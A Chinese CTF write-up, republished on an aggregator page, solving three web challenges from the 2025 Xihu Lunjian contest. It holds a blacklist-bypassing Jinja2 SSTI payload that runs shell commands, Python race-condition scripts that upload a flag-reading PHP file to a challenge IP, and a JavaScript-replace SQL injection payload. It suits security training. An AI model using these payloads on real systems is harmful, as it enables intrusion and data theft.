【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)

目录

Rank-l

Rank-U

sqli or not


Rank-l

username存在报错回显,发现可以打SSTI

本地起一个服务,折半查找fuzz黑名单,不断扔给fenjing去迭代改payload

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/input', methods=['GET', 'POST'])
def user_input():if request.method == 'POST':# 从POST请求的表单数据中获取用户输入user_input = request.form.get('user_input', '')# 检查输入中是否包含不允许的符号if any(char in user_input for char in ['+', '/', '*','"','\\','{%','%}','urlencode','mod']):return "输入中包含不允许的字符。", 400  # 返回错误信息# 如果输入不包含不允许的符号,使用render_template_stringtemplate = "<h1>用户输入的内容是:{{ input }}</h1>"return render_template_string(template, input=user_input)# 如果是GET请求,显示一个表单return '''<form method="POST"><label for="user_input">请输入内容:</label><input type="text" id="user_input" name="user_input"><button type="submit">提交</button></form>'''if __name__ == '__main__':app.run(host="0.0.0.0",port=1338,debug=True)

 

payload:

{{cycler.next.__globals__.__builtins__.__import__('os').popen(lipsum['__glob''al''s__']['__builti''ns__']['chr'](37).__add__('c').__mul__(7)|format(116,97,99,32,47,102,42)).read()}}

Rank-U

burpsuite默认字典爆出密码(302的很多都可以登)

登进去是一个任意文件上传,上传后访问是404,文件被立刻删除

打条件竞争

import requestswhile True:burp0_url = "http://139.155.126.78:30675/admin/index.php"  # 更新 URLburp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"}  # 更新 PHP 会话 IDburp0_data = ("------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n""Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n""Content-Type: application/octet-stream\r\n\r\n""<?php echo file_get_contents('/flag');?>\r\n"  # 改为新代码"------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n")# 发送 POST 请求,只保留 Cookier = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)# 提取文件名并保存到本地文件try:filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]with open('name.txt', 'w') as file:file.write(filename.strip())  # 使用 strip() 去除可能的换行符except IndexError:print("无法提取文件路径或文件上传失败")
import requestsurl0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'while True:# 直接读取文件内容,去除换行符并逐行处理with open('name.txt', 'r') as file:for filename in file:shellpath = url0 + filename.strip()  # 使用 strip() 去除换行符# 发起 GET 请求r1 = requests.get(shellpath)# 如果状态码不是 404,输出状态码和响应文本if r1.status_code != 404:print(r1.status_code)print(r1.text)

第一个脚本多运行几个,同时用第二个脚本读到flag

sqli or not

逗号的绕过参考ctfshow web344

【Web】Ctfshow Nodejs刷题记录_ctfshowweb nodejs-CSDN博客

replace的绕过参考

String.prototype.replace() - JavaScript | MDN

引号被ban只要用前面自带的引号就行

本地搭一个服务查看替换后拼接的sql语句,发现成功闭合

var express = require('express');
var app = express(); // 使用 app 而不是 router 来启动服务
var router = express.Router();
module.exports = router;app.use(router);router.get('/', (req, res, next) => {if (req.query.info) {if (req.url.match(/\,/ig)) {res.end('hacker1!');}var info = JSON.parse(req.query.info);// 合并所有信息并一次性回显let responseContent = `Parsed info: ${JSON.stringify(info)}<br>`;if (info.username && info.password) {var username = info.username;var password = info.password;if (info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)) {responseContent += 'hacker2!<br>';}var sql = "select * from userinfo where username = '{username}' and password = '{password}'";sql = sql.replace("{username}", username);sql = sql.replace("{password}", password);// 合并生成的 SQL 查询语句responseContent += `Generated SQL: ${sql}<br>`;} else {responseContent += "please input the data<br>";}// 一次性回显所有内容res.send(responseContent);} else {res.end("please input the data");}
});// 指定端口启动服务器
const port = 4000;  // 设置端口为 4000
app.listen(port, () => {console.log(`Server running on port ${port}`);
});

 payload:

?info={"username":"$`+or+1=1--+"&info="password":"123456"}

打入,下载flag文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/68502.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WEB渗透技术研究与安全防御

目录 作品简介I IntroductionII 1 网络面临的主要威胁1 1.1 技术安全1 2 分析Web渗透技术2 2.1 Web渗透技术的概念2 2.2 Web漏洞产生的原因2 2.3 注入测试3 2.3.1 注入测试的攻击流程3 2.3.2 进行一次完整的Sql注入测试4 2.3.3 Cookie注入攻击11 3 安全防御方案设计…

软考高级5个资格、中级常考4个资格简介及难易程度排序

一、软考高级5个资格 01、网络规划设计师 资格简介&#xff1a;网络规划设计师要求考生具备全面的网络规划、设计、部署和管理能力&#xff1b;该资格考试适合那些在网络规划和设计方面具有较好理论基础和较丰富从业经验的人员参加。 02、系统分析师 资格简介&#xff1a;系统分…

Centos 宝塔安装

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh 安装成功界面 宝塔说明文档 https://www.bt.cn/admin/servers#wcu 或者可以注册宝塔账号 1 快速部署 安装docker 之后 2 需要在usr/bin下下载do…

Java锁 从乐观锁和悲观锁开始讲 面试复盘

目录 面试复盘 Java 中的锁 大全 悲观锁 专业解释 自我理解 乐观锁 专业解释 自我理解 悲观锁的调用 乐观锁的调用 synchronized和 ReentrantLock的区别 相同点 区别 详细对比 总结 面试复盘 Java 中的锁 大全 悲观锁 专业解释 适合写操作多的场景 先加锁可以…

使用nginx搭建通用的图片代理服务器,支持http/https/重定向式图片地址

从http切换至https 许多不同ip的图片地址需要统一进行代理 部分图片地址是重定向地址 nginx配置 主站地址&#xff1a;https://192.168.123.100/ 主站nginx配置 server {listen 443 ssl;server_name localhost;#ssl证书ssl_certificate ../ssl/ca.crt; #私钥文件ssl_ce…

latin1_swedish_ci(latin1 不支持存储中文、日文、韩文等多字节字符)

文章目录 1、SHOW TABLE STATUS WHERE Name batch_version;2、latin1_swedish_ci使用场景注意事项修改字符集和排序规则修改表的字符集和排序规则修改列的字符集和排序规则修改数据库的默认字符集和排序规则 3、ALTER TABLE batch_version CONVERT TO CHARACTER SET utf8mb4 C…

复健第二天之[MoeCTF 2022]baby_file

打开题目在线环境可以看到&#xff1a; 感觉要用伪协议去求&#xff0c;但是我们并不知道flag的位置&#xff0c;这里我选择用dirsearch去扫一下&#xff1a; 最像的应该就是flag.php了 于是就构建payload&#xff1a; **?filephp://filter/convert.base64-encode/resource…

机器学习之SVD奇异值分解实现图片降维

SVD奇异值分解实现图片降维 目录 SVD奇异值分解实现图片降维1 SVD奇异值分解1.1 概念1.2 基本步骤1.2.1 矩阵分解1.2.2 选择奇异值1.2.3 重建矩阵1.2.4 降维结果 1.3 优缺点1.3.1 优点1.3.2 缺点 2 函数2.1 函数导入2.2 函数参数2.3 返回值2.4 通过 k 个奇异值降维 3 实际测试3…

PyTorch使用教程(6)一文讲清楚torch.nn和torch.nn.functional的区别

torch.nn 和 torch.nn.functional 在 PyTorch 中都是用于构建神经网络的重要组件&#xff0c;但它们在设计理念、使用方式和功能上存在一些显著的区别。以下是关于这两个模块的详细区别&#xff1a; 1. 继承方式与结构 torch.nn torch.nn 中的模块大多数是通过继承 torch.nn…

移动端布局 ---- 学习分享

响应式布局实现方法 主流的实现方案有两种: 通过rem \ vw/vh \ 等单位,实现在不同设备上显示相同比例进而实现适配. 响应式布局,通过媒体查询media 实现一套HTML配合多套CSS实现适配. 在学习移动端适配之前,还需要学习移动端适配原理: 移动端适配原理(Viewport) 了解VSCo…

cuda + cudnn安装

1.安装CUDA Toolkit 在设备管理器&#xff08;此电脑–右键–属性&#xff09;的显示适配器中可以查看自己的显卡型号&#xff0c;去下载对应的CUDA Toolkit 。或者输入以下命令查看Driver Version &#xff0c;cuda Version&#xff1a;12.2代表12.2版本以下兼容可以进行安装 …

DevUI 2024 年度运营报告:开源生态的成长足迹与未来蓝图

在当今数字化飞速发展的时代&#xff0c;开源已成为推动技术创新与协作的重要力量。DevUI 作为开源领域的重要一员&#xff0c;其发展历程与成果备受关注。值此之际&#xff0c;GitCode 精心整理了 DevUI 年度运营报告&#xff0c;为您全面呈现 DevUI 社区在过去一年里的开源之…

python中的RPA->playwright自动化录制脚本实战案例笔记

playwright录制功能使用绕过登录操作 1、首先安装playwright pip install playwright2、 安装支持的浏览器 playwright install # 安装支持的浏览器&#xff1a;cr, chromium, ff, firefox, wk 和 webkit3、接着在自己的项目下运行录制命令&#xff1a; playwright codegen…

如何选择适合特定项目需求的人工智能学习框架?

人工智能学习框架&#xff08;AI Learning Framework&#xff09;是一种用于开发、训练和部署人工智能模型的软件平台&#xff0c;旨在简化AI模型的设计、训练和部署过程。这些框架通常提供一系列工具、库和预构建模块&#xff0c;使开发者能够快速实现机器学习任务&#xff0c…

Spring Bug解决

报错&#xff1a; Exception in thread "main" org.springframework.beans.factory.NoUniqueBeanDefinitionException: No qualifying bean of type com.itxl.spring6.iocxml.User available: expected single matching bean but found 2: user,user1 at org.sp…

U盘被格式化后的数据救赎与防范策略

一、U盘格式化后的数据困境 在日常的工作与生活中&#xff0c;U盘作为数据传输与存储的重要工具&#xff0c;扮演着不可或缺的角色。然而&#xff0c;当U盘不幸遭遇格式化操作后&#xff0c;存储在其中的宝贵数据瞬间化为乌有&#xff0c;给用户带来极大的困扰。格式化后的U盘…

【AI论文】LlamaV-o1:重新思考大型语言模型(LLMs)中的逐步视觉推理方法

摘要&#xff1a;推理是解决复杂多步骤问题的基本能力&#xff0c;特别是在需要逐步顺序理解的视觉环境中尤为重要。现有的方法缺乏一个全面的视觉推理评估框架&#xff0c;并且不强调逐步解决问题。为此&#xff0c;我们通过三项关键贡献&#xff0c;提出了一个在大型语言模型…

【HTTP】详解

目录 HTTP 基本概念啥是HTTP&#xff0c;有什么用&#xff1f;一次HTTP请求的过程当你在浏览器中输入一个浏览器地址&#xff0c;它会发送什么 &#xff1f;---&#xff08;底层流程&#xff09;HTTP的协议头请求头&#xff08;对应客户端&#xff09;一些请求头请求方法 响应头…

EasyExcel - 行合并策略(二级列表)

&#x1f63c;前言&#xff1a;博主在工作中又遇到了新的excel导出挑战&#xff1a;需要导出多条文章及其下联合作者的信息&#xff0c;简单的来说是一个二级列表的数据结构。 &#x1f575;️‍♂️思路&#xff1a;excel导出实际上是一行一行的记录&#xff0c;再根据条件对其…

第9章:基于Vision Transformer(ViT)网络实现的迁移学习图像分类任务:早期秧苗图像识别

目录 1. ViT 模型 2. 早期秧苗分类 2.1 数据集 2.2 训练 2.3 训练结果 2.4 可视化网页推理 3. 下载 1. ViT 模型 视觉变换器&#xff08;ViT&#xff09;是一种神经网络架构&#xff0c;它将变换器架构的原理应用于视觉数据。最初&#xff0c;Transformers主要用于自然…